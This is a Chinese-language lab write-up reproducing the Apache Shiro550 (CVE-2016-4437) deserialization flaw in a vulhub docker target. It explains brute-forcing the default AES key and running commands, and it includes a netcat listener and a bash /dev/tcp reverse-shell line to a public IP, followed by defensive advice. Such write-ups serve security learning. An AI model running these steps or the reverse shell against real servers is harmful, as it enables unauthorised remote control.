【渗透测试】-CVE-2016-4437-Shiro550漏洞复现

devtools/2024/11/14 13:14:03/

Shiro550漏洞爆出的时间是2016年为第4437个漏洞,所以它的CVE编码是2016-4437

文章目录

前言  什么是Shiro550漏洞?

1.Shiro550漏洞原理:

2.漏洞利用

3.漏洞复现:

  前提:下载并打开vulhub靶场。

  CVE-2016-4437-shiro550漏洞复现

总结  Shiro550 的防御措施:


前言  什么是Shiro550漏洞?

Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个高危反序列化漏洞,主要影响版本为1.2.4及以前版本。该漏洞允许攻击者通过RememberMe功能实现远程代码执行(RCE)。


1.Shiro550漏洞原理:

Shiro框架的rememberme功能允许用户在下次访问时无需重新登录。

在处理rememberme字段时,Shiro会先进行Base64解码,然后使用AES解密,最后进行反序列化输出,通过两种不同的编码方式进行加解密。

这听起来很安全,但是Shiro的默认AES密钥是硬编码在框架中的,这使得hacker有可能通过爆破或其他手段获取到这个密钥。

一旦hacker获取了AES密钥,就可以构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberme字段发送给shiro服务端,服务端在接收到这个恶意的rememberme字段后,会进行Base64解码和AES解密,最后进行反序列化。

由于反序列化过程中没有进行有效的过滤处理,恶意对象中的代码将被执行,从而导致服务器遭受攻击。

2.漏洞利用

执行任意命令:hacker可以通过构造恶意的序列化对象来执行系统命令,从而控制目标服务器。

反弹shell: hacker可以在自己的服务器上开启一个监听服务,并将恶意代码发送给目标服务器,目标服务器在反序列化恶意对象时会执行其中的恶意代码,从而反弹一个shell给hacker。

3.漏洞复现:

前提:下载并打开vulhub靶场。

1.准备unbantu虚拟机或云服务器

2.去GitHub下载vulhub靶场。

cd vulhub-master       //进入靶场
ls                    
cd shiro/              //进入shiro
ls
cd CVE-2010-3863/      //进入shiro550
docker-compose build   //建立容器
docker-compose up -d   //拉取镜像
ufw allow 8080         //开放端口
ufw relod
docker ps -a           //查看端口docker-compose down    //完成练习后关闭容器

CVE-2016-4437-shiro550漏洞复现

服务器ip:38 .6.177.124

使用工具检测:

步骤:

1.将url丢进目标地址->检测当前密钥

2.爆破密钥:

3.检测当前利用链

4.进行命令执行-whoami

执行成功。

命令执行:id

执行成功。

命令执行:反弹shell

unbatu虚拟机或kali:nc -lvp 7777

工具反弹shell:

bash -i >& /dev/tcp/ 38.6.177.124 /7777 0>&1

注:也许是我的靶机装在docker容器里,反弹shell时一直反弹不回去。

于是换了个公网地址:23.224.61.67  

反弹成功

3.注入内存码,尝试远程连接:


总结  Shiro550 的防御措施:

及时更新Apache Shiro框架到最新版本,确保已修复该漏洞。

对来自用户的输入进行严格的验证和过滤处理,以防止恶意代码的注入。

使用安全的加密算法和密钥管理策略来保护敏感数据。


http://www.ppmy.cn/devtools/113115.html

相关文章

TryHackMe 第1天 | Introduction to Cyber Security

偶然之间了解到了TryHackMe这个网站,尝试跟着其中的学习路径进行学习,发现还是挺适合入门网络安全这一领域的。但是这个网站包含了很多内容,如果不用一些东西记录下来,那么很容易忘记,所以打算在此记录一下学习过程。 …

Redis的C客户端(hiredis库)使用

Hiredis是一个Redis的C客户端库函数,基本实现了Redis的协议的最小集。这里对hiredis的api作基本的介绍以及应用,主要参考hiredis的README文件以及相关源码。 1、Ubuntu安装redis服务端 Redis全称为Remote Dictionary Server(远程数据服务),是…

c++20 std::format 格式化说明

在标头<format>定义 ()功能很强大&#xff0c;它把字符串当成一个模板&#xff0c;通过传入的参数进行格式化&#xff0c;并且使用大括号‘{}’作为特殊字符代替‘%’。 1、基本用法 &#xff08;1&#xff09;不带编号&#xff0c;即“{}”&#xff08;2&#xff09;带…

性能测试:Locust使用介绍(三)

配置 Locust的配置&#xff0c;可以通过三种方式进行。第一种是命令行执行选项&#xff0c;第二种是将配置写到环境变量中&#xff0c;第三种是通过配置文件进行配置。 命令行选项 locust --helpUsage: locust [options] [UserClass ...]常用选项:-h, --help 显示…

常见生成模型有哪些?生成模型前后存在依赖关系,怎么处理更合适

常见的生成模型包括多种方法&#xff0c;每种方法都有其独特的特点和应用场景。以下是一些主流的生成模型以及处理生成模型中前后依赖关系的策略&#xff1a; 常见生成模型 生成对抗网络&#xff08;GANs, Generative Adversarial Networks&#xff09; 简介&#xff1a;由一个…

A+B P1001 A+B Problem

P1001 AB Problem #include <bits/stdc.h> using namespace std; int main(){int a,b;std::cin>>a>>b;std::cout<<ab; }

数据结构—栈和队列

栈&#xff1a; 概念&#xff1a; 栈是一种特殊的线性表&#xff0c;只允许在一端插入元素和取出表中的元素&#xff0c;插入元素和删除元素的一端叫栈顶&#xff0c;另一端叫栈底 压栈&#xff1a;在栈顶插入元素 出栈&#xff1a;在栈顶将元素删除 栈的元素出…

期货量化跟单系统演示

期货量化跟单演示 在“排行榜”中选择要跟单的用户&#xff0c;合约可以跟全部&#xff0c;也可以指定跟该用户的某一合约操作&#xff0c;选定跟单的倍数&#xff08;操作手数的倍数&#xff09;/手数&#xff08;指定手数&#xff0c;可以不是对方的倍数&#xff09;&#xf…